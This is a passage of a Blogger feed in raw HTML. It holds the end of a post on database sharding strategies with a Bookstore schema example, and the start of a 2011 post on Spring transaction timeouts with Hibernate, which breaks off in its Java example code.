<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Shard by the modulus of a key value. This option works in a vast number of cases, by applying the modulus function to the key value, and distributing transactions based on the calculated value. In essence you can predetermine any number of shards, and the modulus function effectively distributes across your shards on a “round-robin” basis, creating a very even distribution of new key values.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Maintain a master shard index table. This technique involves using a single master table that maps various values to specific shards. It is very flexible, and meets a wide variety of application situations. However, this option often delivers lower performance as it requires an extra lookup for each sharded SQL Statement.</li>
</ul>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
As you can see, there are many things to consider and many capabilities required in order to ensure that a Database Sharding implementation is successful and effective, delivering on its objectives of providing new levels of scalability and performance in a cost-effective manner.</div>
<h3 style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
When Database Sharding is Appropriate</h3>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Database Sharding is an excellent fit for many types of business applications, those with general purpose database requirements. It can also be used effectively for Data Warehousing applications, and as there are many available products and technologies to accomplish this, we will not focus on this element here.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
The general purpose database requirements that are a fit for sharding include:</div>
<ul style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">High-transaction database applications</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Mixed workload database usage<ul style="font-size: 10px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Frequent reads, including complex queries and joins</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Write-intensive transactions (CRUD statements, including INSERT, UPDATE, DELETE)</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Contention for common tables and/or rows</li>
</ul>
</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">General Business Reporting<ul style="font-size: 10px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Typical "repeating segment" report generation</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Some data analysis (mixed with other workloads)</li>
</ul>
</li>
</ul>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
To determine if Database Sharding is applicable to your specific application or environment, the most important thing to evaluate is how well your database schema lends itself to sharding. In essence, Database Sharding is a method of “horizontal” portioning, meaning that database rows (as opposed to columns) for a single schema table are distributed across multiple shards. To understand the characteristics of how well sharding fits a given situation, here are the important things to determine:</div>
<ul style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Identify all transaction-intensive tables in your schema.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Determine the transaction volume your database is currently handling (or is expected to handle).</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Identify all common SQL statements (SELECT, INSERT, UPDATE, DELETE), and the volumes associated with each.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Develop an understanding of your "table hierarchy" contained in your schema; in other words the main parent-child relationships.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Determine the "key distribution" for transactions on high-volume tables, to determine if they are evenly spread or are concentrated in narrow ranges.</li>
</ul>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
With this information, you can rapidly gain an assessment of the value and applicability of sharding to your application. As an example, here is a simple Bookstore schema showing how the data can be sharded:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhalD9OqFPjLyseUsbQ4sRhrQ6OMJEjQ5x8R2342v0ArT7SRFApVXAs_Hs8W4wYfFJqf8Xo9KvEOAANDJSJWqGIFyKgIOmlaBVmQr4k0l9AwGCO1DMpslgaXlzS6zRrqBhPKlhTiw/s1600/browse(10).jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhalD9OqFPjLyseUsbQ4sRhrQ6OMJEjQ5x8R2342v0ArT7SRFApVXAs_Hs8W4wYfFJqf8Xo9KvEOAANDJSJWqGIFyKgIOmlaBVmQr4k0l9AwGCO1DMpslgaXlzS6zRrqBhPKlhTiw/s640/browse(10).jpg" width="640" /></a></div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Figure 3. Example Bookstore schema showing how data is sharded.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
In the Bookstore example, the Primary Shard Table is the 'customer' entity. This is the table that is used to shard the data. The 'customer' table is the parent of the shard hierarchy, with the 'customer_order' and 'order_item' entities as child tables. The data is sharded by the 'customer.id' attribute, and all related rows in the child tables associated with a given 'customer.id' are sharded as well. The Global Tables are the common lookup tables, which have relatively low activity, and these tables are replicated to all shards to avoid cross-shard joins.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
While this example is very basic, it does provide the basic considerations for determining how to shard a given database application. By using this evaluation approach, you can determine if sharding is applicable to your particular environment, and what benefits can be realized by implementing Database Sharding.</div>
<div style="margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px;">
YourSports is taking a "Shared Nothing" approach, wrapping data into distribute, real-time instance with Redis.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px;">
<br /></div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; line-height: 19px;">
<div style="font-size: 12px;">
More resources.</div>
</div>
<ul>
<li><a href="http://spyced.blogspot.com/2009/05/consistent-hashing-vs-order-preserving.html" style="background-color: white; font-family: Arial, Helvetica, sans-serif; font-size: x-small; line-height: 1.1em; text-align: left;">Consistent hashing vs order-preserving partitioning in distributed databases</a></li>
<li><a href="http://www.allthingsdistributed.com/2007/10/amazons_dynamo.html" style="font-family: Arial, Helvetica, sans-serif; font-size: x-small; line-height: 19px;">Amazon's Dynamo</a></li>
</ul>
<div style="color: #444444; font-family: Arial, Helvetica, sans-serif; font-size: x-small; line-height: 19px;">
</div>
<ul>
</ul>
</div>Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com1tag:blogger.com,1999:blog-30018430.post-42262654337960933922011-09-08T16:24:00.001+08:002012-05-03T16:32:53.902+08:00Spring transaction timeout doesn't work??I would like to cancel a transaction if it last too long, for example if a transaction has kept processing 2 minutes(expected 30 seconds), it will holds much resource and blocks other transactions(hurt the scalability), it is a reasonable choice to stop it permanently.<br />
The solution looks like very simple, spring supports set transaction timeout when declare a transaction advice(in AOP style), and the timeout setting will ultimately propagated to underlying hibernate runtime which implements timeout by java.sql.Statement.setQueryTimeout()(ok, it isn't transaction timeout, but anyway setQueryTimeout can solve my problem).<br />
Now, let's try this solution.<br />
<br />
<ul>
<li>spring 2.5.6</li>
<li>hibernate 3.3.1</li>
<li>c3p0 0.9.1.2</li>
<li>jdk 1.6.0_12</li>
</ul>
<div>
First we implement a TicketService, notice that the class name must match the AOP pointcut definition.</div>
<div>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"></span><br />
<pre class="lang-java prettyprint" style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"><span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"><code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">public</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">class</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">DefaultTicketService</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">implements</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TicketService</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">public</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">void</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> sell</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">()</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// checking and insert some records to underlying database</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">....
</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> DAO.execute("update merchant set statue=2 where merchant_id=111");
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// sleep to reach the transaction deadline</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">try</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Thread</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">sleep</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">15</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">*</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">1000</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">catch</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; 